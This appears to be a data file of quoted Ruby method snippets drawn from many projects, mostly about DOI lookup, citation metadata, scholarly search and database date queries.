"def find_closed_dmd\r\n r = []\r\n rt = ReqTracker.new\r\n rt.dmd.list.each { |line|\r\n next if (line[Dmd::STATUS] != \"CLOSED\" and line[Dmd::STATUS] != \"NO ACTION\")\r\n dmd_id = line[Dmd::NUMBER]\r\n dmd = @lists.search_by_dmd_number(dmd_id)\r\n r << dmd if(dmd != nil and dmd.status != 'Decided' and dmd.status != 'Closed' and dmd.status != 'Rejected')\r\n } \r\n r\r\n end",
"def doi\n identifier.select do |ident|\n doi_identifier? ident\n end\n end",
"def crossref_search_by_doi(doi)\n crossref_init\n response = @crossref_api.get doi\n crossref_parse(response)\n end",
"def waiting_for_dips\n q = 'dip_status_tesim:APPROVED'\n dips = {}\n num_results = get_number_of_results(q)\n unless num_results == 0\n solr_query_short(q, 'id,aip_uuid_tesim', num_results)['docs'].each do | aip |\n dips[aip['id']] = aip['aip_uuid_tesim'].first\n end\n end\n dips\n end",
"def has_doi?\n not doi.empty?\n end",
"def doi_identifier? ident\n (/doi:/i =~ ident || /info:doi/i =~ ident || /dx.doi.org/i =~ ident)\n end",
"def filter_dois(ids)\n xref_doi = ids['xref_doi']\n ids['doi'] ||= xref_doi if xref_doi.present?\n ids\n end",
"def find_arvs_daily_dose(drug_id, weight)\n dose = Treatment.find_arv_dose(drug_id, weight)\n\n unless dose\n LOGGER.warn(\"Could find dose for drug ##{drug_id}\")\n return 0\n end\n\n dose[:am] + dose[:pm]\n end",
"def find_diggs\n assert_not_nil @rdigg.stories.find_diggs(\"7987660\")\n end",
"def doi?\n return false unless @curation_concern.respond_to? :doi\n @curation_concern.doi.present?\n end",
"def ind_estud\n #@periodos = Periodo.find(:all)\n end",
"def lookup_doi(doi)\n doi = doi.downcase.gsub('doi:','').gsub('http://','').gsub('dx.doi.org/','').gsub('doi>','').gsub('doi ','').strip\n url = \"http://dx.doi.org/#{doi}\"\n return open(url, \"Accept\" => \"text/bibliography; style=bibtex\").read\nend",
"def doi\n @doi ||= create_doi\n if @doi.include?(\"success\")\n @doi = @doi.split(\"|\")[0].sub(\"success:\", \"\").strip\n end\n @doi\n end",
"def extract_doi(str, options = {})\n doi = validate_doi(str)\n return doi if doi.present?\n\n if options[:from] == \"datacite\"\n doi = doi_from_xml(str, options)\n return doi if doi.present?\n end\n\n generate_unique_doi(str, options)\n end",
"def dodaj_do_listy(*jid)\n\tkontakty(*jid) do |kontakt|\n\t\tnext if subskryp?(kontakt)\n\t\tkontakt.autoryzacja\n\tend\n end",
"def doi_generator(record)\n doi_link = record.eds_document_doi\n\n # Return DOI link, if available\n return nil unless doi_link\n\n Rails.logger.debug('QuickSearch::EbscoDiscoveryServiceApiArticleSearcher.item_link - DOI link found. Returning.')\n doi_base_url = QuickSearch::Engine::EBSCO_DISCOVERY_SERVICE_API_ARTICLE_CONFIG['doi_link']\n doi_base_url + doi_link\n end",
"def distinctions_offered\n\t\tfind_related_frbr_objects( :presents, :which_distinctions?) \n\t end",
"def doi_generator(bib)\n doi_link = bib.same_as&.to_s\n\n # Return DOI link, if available\n return nil unless doi_link\n\n Rails.logger.debug('QuickSearch::WorldCatDiscoveryApiArticleSearcher.item_link - DOI link found. Returning.')\n doi_base_url = QuickSearch::Engine::WORLD_CAT_DISCOVERY_API_ARTICLE_CONFIG['doi_link']\n doi_base_url + doi_link\n end",
"def test_it_resolves_existing_doi\n res = @mds.resolve EXISTING_DOI\n assert_instance_of Net::HTTPOK, res\n assert_equal EXISTING_URL, res.body\n end",
"def citing_doi\n\tif @citing_node.nil?\n\t {}\n\telse\n @doi ||= {\n :doi => Helpers.normalise_doi(@citing_node.at_css(\"doi_data doi\", @@ns).text),\n :resource => @citing_node.at_css(\"doi_data resource\", @@ns).text\n }\n\tend\n end",
"def find; end",
"def find_by()\n\n end",
"def donizetti\n fetch('opera.italian.by_gaetano_donizetti')\n end",
"def find_dosages(patient, date = Date.today)\n # Make sure it has been stated explicitly that drugs are getting prescribed\n # to this patient\n return {} unless patient_getting_prescription?(patient, date)\n\n courses = parallel_drug_courses.select(%i[concept_id name])\n\n find_course = lambda do |concept_id|\n courses.find { |course| course.concept_id == concept_id }\n end\n\n prescriptions = patient_course_prescriptions(patient, date, courses)\n\n prescribed_courses = courses.select do |course|\n prescriptions.find { |prescription| prescription.value_coded.to_i == course.concept_id }\n end\n\n prescriptions.each_with_object({}) do |prescription, dosages|\n course = find_course.call(prescription.value_coded.to_i)\n drugs = find_drugs_by_course(course)\n\n dominant_course_name = select_dominant_course_name(course, prescribed_courses)\n\n ingredients = find_regimen_ingredients(weight: patient.weight, drugs: drugs, course: dominant_course_name)\n\n ingredients.each do |ingredient|\n drug_name = ConceptName.find_by(concept_id: ingredient.drug.concept_id).name\n dosages[drug_name] = ingredient_to_drug(ingredient)\n end\n end\n end",
"def doi_metadata\n # This must be mock_doi rather than any identifier defined in the object.\n # Otherwise users could manually specify a different identifier and\n # change records they're not supposed to.\n data = {:identifier => mock_doi}\n \n data[:alternate_identifier] = identifier.map do |identifier|\n next if identifier == full_mock_doi\n guess_identifier_type(identifier)\n end .compact\n\n if respond_to? :doi_published and doi_published\n data[:publication_year] = \"#{doi_published.year}\"\n else\n data[:publication_year] = \"#{Time.new.year}\"\n end\n\n data[:subject] =\n (subject.to_a.map do |e|\n { scheme:'FAST', schemeURI: 'http://fast.oclc.org/', label: e }\n end) +\n (tag.to_a.map do |e|\n { scheme: nil, schemeURI: nil, label: e}\n end)\n\n creator_role=Sufia.config.contributor_roles['Creator']\n data[:creator] = ((contributors_sorted.select do |c|\n c.role.include? creator_role\n end).select do |c|\n !c.marked_for_destruction?\n end).map do |c|\n { name: c.contributor_name.first,\n affiliation: c.affiliation\n }\n end\n\n data[:abstract] = abstract.to_a\n data[:research_methods] = research_methods.to_a\n data[:description] = description.to_a\n data[:funder] = funder.to_a\n data[:contributor] = contributors_sorted.reduce([]) do |a,c|\n # Creator role is converted to nil in contributor_role_to_datacite and then removed with compact\n next a if c.marked_for_destruction?\n roles=c.role.map do |r| contributor_role_to_datacite r end\n roles.compact!\n next a if roles.empty?\n roles.sort! # Roles must be sorted, otherwise authors might change arbitrarily\n roles.each do |r|\n a << {\n name: c.contributor_name.first,\n affiliation: c.affiliation,\n contributor_type: r\n }\n end\n a\n end\n\n\n data[:relatedIdentifier] = related_url.map do |url|\n # related field is now titled cited by, so use that as the relation type\n (guess_identifier_type url).tap do |ident| ident[:relation_type]='IsCitedBy' end\n end\n\n if self.class == GenericFile\n data[:title] = title\n data[:resource_type] = Sufia.config.resource_types_to_datacite[resource_type.first] # Only maping first choice from the list\n data[:size] = [content.size]\n data[:format] = [content.mime_type]\n data[:date_uploaded] = date_uploaded.strftime('%Y-%m-%d')\n data[:rights] = rights.map do |frights|\n {rights: Sufia.config.cc_licenses_reverse[frights], rightsURI: frights}\n end\n else #Add Collection metadata\n data[:title] = [title] # Collection returns string, XML builder expects array\n # FixMe: construct << {contributor, email}\n if not date_created.empty?\n data[:date_created] = Date.parse(date_created.first.to_s).strftime('%Y-%m-%d') unless date_created.empty?\n end\n data[:resource_type] = Sufia.config.resource_types_to_datacite['Collection']\n\n #Add members metadata\n# \t\t\tdata[:rights] = rights.map do |crights|\n# \t\t\t\t{rights: \"Collection rights - \" + Sufia.config.cc_licenses_reverse[crights], rightsURI: crights }\n# \t\t\tend\n# members.reduce(data[:rights]) do |a,mobj|\n data[:rights] = members.reduce([]) do |a,mobj|\n if member_visible? mobj\n if mobj.content.original_name.nil? then filename = mobj.id else filename = mobj.content.original_name end\n if mobj.rights.any?\n a << { # Do we allow for multiple licensing?\n rights: filename + \" - \" + Sufia.config.cc_licenses_reverse[mobj.rights[0]],\n rightsURI: mobj.rights[0]\n }\n else\n a\n end\n else\n a\n end\n end\n\n data[:format] = members.reduce([]) do |a,mobj|\n if member_visible? mobj\n if mobj.content.original_name.nil? then filename = mobj.id else filename = mobj.content.original_name end\n if mobj.content.mime_type.nil? then a end\n a << (filename + \" - \" + mobj.content.mime_type)\n else\n a\n end\n end\n\n data[:size] = members.reduce([]) do |a,mobj|\n if member_visible? mobj\n if mobj.content.original_name.nil? then filename = mobj.id else filename = mobj.content.original_name end\n if mobj.content.size then a end\n a << \"#{filename} - #{mobj.content.size}\"# Should we preatyfier file size in bytes?\n else\n a\n end\n end\n\n\n members.reduce(data[:relatedIdentifier]) do |a,mobj|\n if member_visible? mobj and mobj.respond_to? :doi_landing_page #FixMe: only public objects\n a << { id: mobj.doi_landing_page, id_type: 'URL', relation_type: 'HasPart' }\n else\n a\n end\n end\n end\n return data\n end",
"def dpis\n return @dpis\n end",
"def metadataget( doi )\n #puts \"=====> metadataget #{doi}\"\n url = \"#{self.url}/dois/#{doi}\"\n status, response = rest_get( url )\n return status, response if ok?( status )\n return status, ''\n end",
"def metadataget( doi )\n #puts \"=====> metadataget #{doi}\"\n url = \"#{self.url}/dois/#{doi}\"\n status, response = rest_get( url )\n return status, response if ok?( status )\n return status, ''\n end",
"def set_doi\n @doi = Doi.find(params[:id])\n end",
"def hide_doi\n return error_hash(\"no identifier present\") unless identifier_present?\n\n current_state = doi_state\n\n case current_state\n when Databank::DoiState::UNREGISTERED, Databank::DoiState::REGISTERED\n return {status: \"ok\"}\n when Databank::DoiState::DRAFT\n return delete_doi\n when Databank::DoiState::FINDABLE\n Dataset.put_to_datacite(identifier, datacite_json_body(Databank::DoiEvent::HIDE))\n sleep(1.5)\n else\n return\n end\n\n if doi_state == Databank::DoiState::REGISTERED\n {status: \"ok\"}\n else\n error_hash(\"problem changing state in DataCite metadata store for dataset #{key}\")\n end\n end",
"def find_overdue_books\n raise 'The library is not open!' unless @open\n raise 'No member is currently being served' unless @serve\n current_date = calendar.get_date\n\n book_list = @serve.get_books\n book_list.each_index do |n|\n if current_date > book_list[n].get_due_date\n puts \"#{@serve.get_name} #{book_list[n].to_s} \"\n else\n puts 'None'\n end\n end\n end",
"def doi(search)\n SimpleDOI.extract(search).map { |d| d.to_s.upcase }\n end",
"def test_drivers_get_dinos\n\t\tloc = Location::new(\"Location\", [\"Place\"])\n\t\tdriv = Driver::new(1, loc)\n\t\tassert_equal 0, driv.get_dinos\n\tend",
"def find(query)\n @to_dos.each { |item| puts item if item.data.downcase.include?(query.downcase) }\n end",
"def bibo_records\n @bibo_records ||= dois.map do |doi_info|\n record_base = {\n :doi => doi_info[:doi],\n :display_doi => doi_info[:display_doi],\n :type => doi_info[:type],\n :random_index => rand\n }\n\n contributors = contributors doi_info[:parent]\n record_base[:contributors] = contributors if not contributors.nil?\n\n published = published doi_info[:parent]\n record_base[:published] = published if not published.nil?\n\n title_node = doi_info[:parent].at_css(\"title\", @@ns)\n record_base[:title] = title_node.text if not title_node.nil?\n\n if doi_info[:type] == \"journal_article\" ||\n doi_info[:type] == \"conference_paper\"\n journal_node = doi_info[:parent].parent\n record_base[:journal] = journal(journal_node)\n\n conj_issue(record_base, journal_node)\n conj_volume(record_base, journal_node)\n end\n\n record_base\n end\n end",
"def find_user_diets\n yummly_diets = []\n\n\n #Find current user's diets\n user_diets = DietaryPreference.where(user_id: self.id)\n\n\n #Iterate through own and friends's diets and place in array yummly_diets\n if user_diets != nil\n user_diets.each do |diet|\n diet_id = diet.diet_id\n yummly_diets << Diet.find(diet_id).yummly_diet_id\n end\n \n yummly_diets\n else\n yummly_diets = nil\n end\n\n end",
"def index\n if current_user.district_id.nil? || current_user.district_id == 21\n district_id = 1\n else\n district_id = current_user.district_id\n end\n if district_id = 0\n district_id = 1\n end\n @district = District.find(district_id)\n @operative_records = OperativeRecord.where(district_id: district_id).order('target_day desc')\n end",
"def find_related\n # Skip any descriptors that are used internally to relate an Identifier to its Identifiable\n @dmp.identifiers.reject { |id| %w[is_identified_by is_funded_by].include?(id.descriptor) }\n end",
"def test_get_dino\n\t\t@new_driver.dino 5\n\t\tassert_equal 5, @new_driver.dino(0)\n\tend",
"def diatonic_at(index)\n DIATONICS[index]\n end",
"def extract(string)\n string = CGI.unescape string\n list = (string.scan(Regexp.new(DOI_PATTERN))).flatten\n # Calls strip() to make sure nothing like ?nosfx=y remains\n list.map! { |doi| strip doi }\n\n dois = []\n list.each { |doi| dois.push(SimpleDOI::DOI.new(doi)) if valid?(doi) }\n dois\n end",
"def reserve_id(doi:)\n doi\n end",
"def dn_index\n return 0 if d_dn < 1\n\n d_dn - 1\n end",
"def dn_index\n return 0 if d_dn < 1\n\n d_dn - 1\n end",
"def the_doctor; end",
"def dbLookup(type = 'DA')\n i = 1;\n sql = \"select * from data where `council_reference` like '#{type}%/#{ENV['MORPH_PERIOD']}'\"\n results = ScraperWiki.sqliteexecute(sql) rescue false\n if ( results )\n results.each do |result|\n maxApplication = result['council_reference'].gsub!(type + '/', '').gsub!(\"/#{ENV['MORPH_PERIOD']}\", '')\n if maxApplication.to_i > i\n i = maxApplication.to_i\n end\n end\n end\n maxApplication = i\nend",
"def company_infos\n repo = CompanyRepository.new\n results = repo.search(query: { match: { sic_code_first: sic_first } })\n CompanyInfo.where(duns_number: results.map(&:duns_number))\n end",
"def smart_doi\n return nil if @zc.software_doi.blank?\n\n @zc.software_doi\n end",
"def diarchic()\n menald_apinae(preadvance, herpetotomy)\n puppy_becrown_thusgate(nonrepresentative_cometographical, gadolinite, curably_nondeliberate)\n unorbital?(hedgy_intervarietal, omenology)\n end",
"def of_the_day(is_of_a_day = true)\r\n public.without_practice_debate.scoped(:conditions => {:is_debate_of_day => is_of_a_day}, :limit => 1, :order => 'created_at DESC')\r\n end",
"def summer_module_opendates\n verify_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Verify Your Information' AND termvalue=?\", @current_summer_term_in)\n \n if verify_summer_dates.count > 0 \n verify_summer_dates.each do |s|\n @verify_module_summer_open = s.opendate\n @verify_module_summer_close = s.closedate\n @verify_module_summer_term = s.termvalue\n end \n end\n \n comm_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Communication Preference' AND termvalue=?\", @current_summer_term_in)\n if verify_summer_dates.count > 0 \n comm_summer_dates.each do |s|\n @comm_module_summer_open = s.opendate\n @comm_module_summer_close = s.closedate\n @comm_module_summer_term = s.termvalue \n end\n end\n\n deposit_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Pay Deposit' AND termvalue=?\", @current_summer_term_in)\n if deposit_summer_dates.count > 0 \n deposit_summer_dates.each do |s|\n @deposit_module_summer_open = s.opendate\n @deposit_module_summer_close = s.closedate\n @deposit_module_summer_term = s.termvalue \n end\n end\n\n immunization_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Immunization Holds' AND termvalue=?\", @current_summer_term_in)\n if immunization_summer_dates.count > 0 \n immunization_summer_dates.each do |s|\n @immune_module_summer_open = s.opendate\n @immune_module_summer_close = s.closedate\n @immune_module_summer_term = s.termvalue \n end\n end\n\n residency_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Residency Validation' AND termvalue=?\", @current_summer_term_in)\n if residency_summer_dates.count > 0 \n residency_summer_dates.each do |s|\n @residency_module_summer_open = s.opendate\n @residency_module_summer_close = s.closedate\n @residency_module_summer_term = s.termvalue \n end\n end\n\n housing_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Housing Contract & Meal Plans' AND termvalue=?\", @current_summer_term_in)\n if housing_summer_dates.count > 0 \n housing_summer_dates.each do |s|\n @housing_module_summer_open = s.opendate\n @housing_module_summer_close = s.closedate\n @housing_module_summer_term = s.termvalue \n end\n end\n\n aleks_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Math Placement Exam - ALEKS' AND termvalue=?\", @current_summer_term_in)\n if aleks_summer_dates.count > 0 \n aleks_summer_dates.each do |s|\n @aleks_module_summer_open = s.opendate\n @aleks_module_summer_close = s.closedate\n @aleks_module_summer_term = s.termvalue \n end\n end\n\n orientation_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Orientation' AND termvalue=?\", @current_summer_term_in)\n if orientation_summer_dates.count > 0 \n orientation_summer_dates.each do |s|\n @orientation_module_summer_open = s.opendate\n @orientation_module_summer_close = s.closedate\n @orientation_module_summer_term = s.termvalue \n end\n end\n\n oars_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Online Adivision & Resource System - OARS' AND termvalue=?\", @current_summer_term_in)\n if oars_summer_dates.count > 0 \n oars_summer_dates.each do |s|\n @oars_module_summer_open = s.opendate\n @oars_module_summer_close = s.closedate\n @oars_module_summer_term = s.termvalue \n end\n end\n\n faualert_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'FAU Alert Information' AND termvalue=?\", @current_summer_term_in)\n if faualert_summer_dates.count > 0 \n faualert_summer_dates.each do |s|\n @faualert_module_summer_open = s.opendate\n @faualert_module_summer_close = s.closedate\n @faualert_module_summer_term = s.termvalue \n end\n end\n\n registration_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Registration & Holds' AND termvalue=?\", @current_summer_term_in)\n if registration_summer_dates.count > 0 \n registration_summer_dates.each do |s|\n @registration_module_summer_open = s.opendate\n @registration_module_summer_close = s.closedate\n @registration_module_summer_term = s.termvalue \n end\n end\n\n tuition_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Tuition Payment' AND termvalue=?\", @current_summer_term_in)\n if tuition_summer_dates.count > 0 \n tuition_summer_dates.each do |s|\n @tuition_module_summer_open = s.opendate\n @tuition_module_summer_close = s.closedate\n @tuition_module_summer_term = s.termvalue \n end\n end\n\n emergency_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Emergency Contacts' AND termvalue=?\", @current_summer_term_in)\n if emergency_summer_dates.count > 0 \n emergency_summer_dates.each do |s|\n @emergency_module_summer_open = s.opendate\n @emergency_module_summer_close = s.closedate\n @emergency_module_summer_term = s.termvalue \n end\n end\n\n owlcard_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Owl Card' AND termvalue=?\", @current_summer_term_in)\n if owlcard_summer_dates.count > 0 \n owlcard_summer_dates.each do |s|\n @owlcard_module_summer_open = s.opendate\n @owlcard_module_summer_close = s.closedate\n @owlcard_module_summer_term = s.termvalue \n end\n end\n\n book_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Book Advance Program' AND termvalue=?\", @current_summer_term_in)\n if book_summer_dates.count > 0 \n book_summer_dates.each do |s|\n @book_module_summer_open = s.opendate\n @book_module_summer_close = s.closedate\n @book_module_summer_term = s.termvalue \n end\n end\n\n regvehicle_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Register Your Vehicle' AND termvalue=?\", @current_summer_term_in)\n if regvehicle_summer_dates.count > 0 \n regvehicle_summer_dates.each do |s|\n @regvehicle_module_summer_open = s.opendate\n @regvehicle_module_summer_close = s.closedate\n @regvehicle_module_summer_term = s.termvalue \n end\n end\n\n @fin_aid_summer_dates = Moduledate.select(\"opendate,closedate,termvalue\").where(\"name = 'Financial Aid' AND termvalue=?\", @current_summer_term_in)\n if @fin_aid_summer_dates.count > 0 \n @fin_aid_summer_dates.each do |s|\n @fin_aid_module_summer_open = s.opendate\n @fin_aid_module_summer_close = s.closedate\n @fin_aid_module_summer_term = s.termvalue \n end\n end\n\n end",
"def index\n @periodes = {}\n dates = FeuilleGroupe.candidates\n Periode.where(\"debut >= ?\", Date.new(Date.today().year, 1, 1)).each do | p |\n @periodes[p.debut] = p\n end\n \n # Ajouter une periode ou il n'y en a pas encore\n now = Date.today\n dates.each do | date |\n if !@periodes.has_key?(date) && date <= now\n @periodes[date] = Periode.new({debut: date})\n end\n end\n @periodes = @periodes.sort.to_h.values\n end",
"def diseases\n return @diseases\n end",
"def birthdaysearch\n end",
"def findme(id)\n self.helper('findme',id)\n return @doc.to_s\n end",
"def print_daily_list(db, day)\r\n\tputs \"Chores for #{day}\"\r\n\tprint_chores = db.execute(\"SELECT chores.name, family.name FROM chores, family WHERE chores.complete_by_day = ? AND chores.family_id = family.id\", [day])\r\n\tprint_chores.each do |x|\r\n\t\tputs \"#{x[1]} : #{x[0]}\"\r\n\tend\r\nend",
"def doodles_by_tag\n\n\t \t@tag = Tag.where(\"name = ?\", params[:tag_name]).first\n\n\t \t@doodles = Doodle.joins(:tag).where(:tags => {:name => @tag.name})\n\n\n\t\t\t# render json: { message: @doodles}, status: :ok \t \n\t\t\trespond_with :api, @doodles\t\n\n\t\t\trescue\n\t @error = ErrorMessage.new(\"Could not find that resource. Are you using the right resource identification\", \"The requested item was not found!\" )\n\t respond_with @error, status: :not_found\n\t end",
"def dose_by_user(user)\n # Current daily dose, sum active consumptions (float)\n clean_number consumptions.active.by_user(user).map(&:amount).inject(:+)\n end",
"def days(qtdDays)\n \n days = Array.new\n \n urlPadrao = \"http://servicos.cptec.inpe.br/XML/cidade/7dias/#{@codCity}/previsao.xml\"\n \n urlEstendida = \"http://servicos.cptec.inpe.br/XML/cidade/#{@codCity}/estendida.xml\"\n \n loadDays(urlPadrao,days,qtdDays)\n \n if(qtdDays > 4)\n \n loadDays(urlEstendida,days,qtdDays)\n \n end\n \n days\n \n end",
"def index\n @doi_types = DoiType.all\n end",
"def get_doctor\n puts \"Which Doctor would you like more information about?\"\n Scrape.scrape_doctor\n end",
"def getToolsSyndicateDnb( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/dnb\",params)\n end",
"def idade\n if nascimento != nil\n now = Time.now.utc.to_date\n now.year - nascimento.year - ((now.month > nascimento.month || (now.month == nascimento.month && now.day >= nascimento.day)) ? 0 : 1)\n else\n '--'\n end \n end",
"def find_payments\n @specific_search = true\n @match_po_ref.empty? or return do_pay_ref\n @match_inv_num.empty? or return do_inv_num\n @match_their_po_ref.empty? or return do_their_po\n \n @specific_search = false\n return do_all_pos\n end",
"def dns_find(key)\n \n end",
"def cinii_nrid_search( nrid, opts = {} )\n q = URI.escape( nrid )\n base_uri = \"http://ci.nii.ac.jp/opensearch/nrid/\"\n cont = nil\n cache_file = cache_xml( \"cinii_nrid\", q, opts[:start] )\n #p File.mtime( cache_file )\n if File.exist?( cache_file ) and ( Time.now - File.mtime( cache_file ) ) < CACHE_TIME\n cont = open( cache_file ){|io| io.read }\n else\n opts[ :format ] = \"atom\"\n # opts[ :sortorder ] ||= 3\n opts_s = opts.make_uri_params\n opensearch_uri = URI.parse( \"#{ base_uri }#{ q }?appid=#{ CINII_APPID }&#{ opts_s }\" )\n response = http_get( opensearch_uri )\n cont = response.body\n open( cache_file, \"w\" ){|io| io.print cont }\n end\n data = {}\n parser = LibXML::XML::Parser.string( cont )\n doc = parser.parse\n # ref. http://ci.nii.ac.jp/info/ja/if_opensearch_auth.html\n data[ :q ] = nrid\n data[ :link ] = doc.find( \"//atom:id\", \"atom:http://www.w3.org/2005/Atom\" )[0].content.gsub( /&(format=atom|appid=#{ CINII_APPID })\\b/, \"\" )\n data[ :totalResults ] = doc.find( \"//opensearch:totalResults\" )[0].content.to_i\n entries = doc.find( \"//atom:entry\", \"atom:http://www.w3.org/2005/Atom\" )\n data[ :entries ] = []\n entries.each do |e|\n title = e.find( \"./atom:title\", \"atom:http://www.w3.org/2005/Atom\" )[0].content\n url = e.find( \"./atom:id\", \"atom:http://www.w3.org/2005/Atom\" )[0].content\n author = e.find( \".//atom:author/atom:name\", \"atom:http://www.w3.org/2005/Atom\" ).to_a.map{|name| name.content }.join( \"; \" )\n pubname = e.find( \"./prism:publicationName\", \"prism:http://prismstandard.org/namespaces/basic/2.0/\" )[0]\n if pubname.nil?\n pubname = e.find( \"./dc:publisher\", \"dc:http://purl.org/dc/elements/1.1/\" )[0]\n pubname = pubname.content if pubname\n else\n pubname = pubname.content\n end\n pubdate = e.find( \"./prism:publicationDate\", \"prism:http://prismstandard.org/namespaces/basic/2.0/\" )[0] #.content\n pubdate = pubdate.nil? ? \"\" : pubdate.content\n description = e.find( \"./atom:content\", \"atom:http://www.w3.org/2005/Atom\" )[0]\n description = description.nil? ? \"\" : description.content\n data[ :entries ] << {\n :title => title,\n :url => url,\n :author => author,\n :publicationName => pubname,\n :publicationDate => pubdate,\n :description => description,\n }\n end\n data\n end",
"def test_valid_doi\n File.foreach File.dirname(__FILE__) + '/fixtures/good-doi.txt' do |doi|\n assert SimpleDOI.valid?(doi), \"#{doi} should be considered a valid DOI\"\n end\n end",
"def get_doc(did)\n DB.get(did)\nend",
"def parse ddi_file\n @logger.info 'Parsing DDI file ' + ddi_file\n catalog = DDI::Catalog.new\n study = DDI::Study.new\n study_info_hash = Hash.new\n#TODO This will not work on windows since it depends on the unix tool file need to use a different way. Possibly use rchardet instead\n begin\n encode_type = `file --mime -br #{ddi_file}`.gsub(/\\n/,\"\").split(';')[1].split('=')[1]\n rescue Exception => e\n \n end\n #have to convert to UTF-8 for libxml\n contents = File.open(ddi_file).read\n output = Iconv.conv(\"UTF-8\", encode_type, contents)\n converted_file = File.join(File.dirname(ddi_file), \"converted_file.xml\")\n file = File.open(converted_file, 'w')\n file.write(output)\n file.close\n parser = LibXML::XML::Parser.file(converted_file)\n doc = parser.parse\n studynodes = doc.find('//stdyDscr')\n abstracts = studynodes[0].find('//abstract')\n abstract = \"\"\n abstracts.each {|ab| abstract << ab.content.strip}\n abstract.strip!\n study.abstract = abstract\n study.title = studynodes[0].find('//stdyDscr/citation/titlStmt/titl')[0].first.content.strip unless studynodes[0].find('//stdyDscr/citation/titlStmt/titl')[0] == nil\n study.id = studynodes[0].find('//IDNo')[0].first.content.strip unless studynodes[0].find('//IDNo')[0] == nil\n \n #start and finish dates for study\n dates = []\n date = studynodes[0].find('//sumDscr/collDate')\n date.each do |d|\n a = d.attributes\n unless a.length == 0\n study_date = DDI::StudyDate.new\n study_date.type = a.get_attribute('event').value.strip\n study_date.date = a.get_attribute('date').value.strip\n dates.push(study_date)\n end\n end\n study.dates = dates\n studynodes[0].find('//sampProc')[0] ? samp_node = studynodes[0].find('//sampProc')[0] : samp_node = nil\n unless samp_node == nil\n study.sampling_procedure = samp_node.first.content.strip unless samp_node.first == nil\n end\n # study.weight = studynodes[0].find('//sampProc')[0].first.content\n study.ddi_variables = get_variable_information doc\n return study\n end",
"def diatonic_index(key)\n DIATONICS.index key[0]\n end",
"def get_dpn_uuid(object_pid)\n dpn_url = nil\n dpn_uuid = nil\n query = \"select outcome_detail from premis_events_solr \" +\n \"where intellectual_object_id = ? and outcome_information like 'DPN%' \" +\n \"order by date_time desc limit 1\"\n if @uuid_query.nil?\n @uuid_query = @db.prepare(query)\n end\n result_set = @uuid_query.execute(object_pid)\n result_set.each_hash do |row|\n dpn_url = row['outcome_information']\n end\n if !dpn_url.nil?\n tar_file = dpn_url.split('/').last\n if tar_file.end_with?('.tar')\n dpn_uuid = tar_file.sub(/\\.tar$/, '')\n end\n end\n dpn_uuid\n end",
"def get_references(dois)\n return [] unless dois.present? && ENV[\"LAGOTTO_URL\"].present?\n\n url = \"#{ENV['LAGOTTO_URL']}/api/references\"\n response = get_result(url, content_type: \"text/html\", data: dois_as_string(dois))\n\n references = response.fetch(\"references\", []).map do |reference|\n doi = reference.fetch(\"work_id\", \"\")[15..-1].upcase\n relation = reference.fetch(\"relation_type_id\", \"references\").camelize\n source = reference.fetch(\"source_id\", nil)\n source = SOURCES.fetch(source, source)\n\n if text = reference.fetch(\"DOI\", nil)\n text = text.upcase\n id = \"DOI\"\n else\n text = reference.fetch(\"URL\", nil)\n id = \"URL\"\n end\n\n { doi: doi,\n relation: relation,\n id: id,\n text: text,\n source: source }\n end.select { |item| item[:text].present? && item[:source] !~ /datacite_data/ }.group_by { |item| item[:doi] }\n end",
"def expedientes_relacionados\n Expediente.find(:all, :conditions => %|id in (select expediente_relacion_id from expedientes_expedientes where expediente_id = #{id}) or \n id in (select expediente_id from expedientes_expedientes where expediente_relacion_id = #{id})|)\n end",
"def issuedby_details\n exist = StationeryUse.find(:all,:conditions=>['issuedby=?', issuedby]).count\n a='id=? ' if StationeryUse.find(:all,:conditions=>['issuedby=?', issuedby]).map(&:stationery_id).uniq.count!=0\n 0.upto(StationeryUse.find(:all,:conditions=>['issuedby=?', issuedby]).map(&:stationery_id).uniq.count-2) do |l| \n a=a+'OR id=? '\n end \n return a if exist > 0 && issuedby.blank? == false\n end",
"def find_noteable_id\n GithubImport::IssuableFinder.new(project, note).database_id\n end",
"def find\n debugger\n self.lost = false\n debugger\n end",
"def get_issue(date)\r\n cover_page = @agent.get \"http://www.economist.com/printedition/\"+date\r\n get_issue_from_cover_page(cover_page)\r\n end",
"def direccion_correspondencia\n dir = nil\n if self.class.to_s=='ClientePersona'\n dir = self.persona.direcciones.find_by_correspondencia(true)\n dir = self.persona.direcciones.find_by_tipo('H') if dir.nil?\n dir = self.persona.direcciones.find_by_tipo('O') if dir.nil?\n dir = self.persona.direcciones.find_by_tipo('T') if dir.nil?\n else\n dir = self.empresa.direcciones.find_by_correspondencia(true)\n dir = self.empresa.direcciones.find_by_tipo('P') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('S') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('L') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('D') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('O') if dir.nil?\n end\n return dir\n end",
